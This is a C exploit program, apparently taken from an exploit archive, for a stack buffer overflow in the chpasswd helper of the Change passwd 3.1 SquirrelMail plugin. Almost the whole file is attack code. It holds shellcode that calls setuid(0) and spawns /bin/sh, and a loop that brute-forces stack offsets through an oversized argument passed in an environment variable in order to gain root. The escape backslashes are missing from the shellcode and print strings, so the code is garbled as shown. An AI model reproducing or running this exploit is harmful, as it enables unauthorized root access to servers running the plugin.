/*
Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
  The bug allows a hacker to exploit the process to run arbitrary code.
*/

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="x90x90x90x90x90x90x90x90"
                      "x90x90x90x90x90x90x90x90"
                      "x90x90x90x90x90x90x90x90"
                      "x31xc0xb0x17x31xdbxcdx80"
                      "x89xe5x31xc0x50x55x89xe5"
                      "x50x68x6ex2fx73x68x68x2f"
                      "x2fx62x69x89xe3x89xe9x89"
                      "xeaxb0x0bxcdx80";

long get_sp(){
       __asm__("movl %esp,%eax;");
};

int main(){
       char buffer[1024];
       long stack = get_sp();
       int result = 1;
       long offset = 0;
       printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploitn");
       printf ("[+] Current stack [0x%x]n",stack);
       while(offset <= 268435456){
       offset = offset + 1;
       stack = get_sp() + offset;
       memcpy(&buffer,"EGG=",4);
       int a = 4;
       while(a <= 108){
               memcpy(&buffer[a],"x",1);
               a = a + 1;}
       memcpy(&buffer[108],&stack,4);
       memcpy(&buffer[112],&shellcode,sizeof(shellcode));
       putenv(buffer);
       result = system("./chpasswd $EGG");
       if(result == 0){exit(0);};
       };
};

// www.Syue.com [2006-01-25]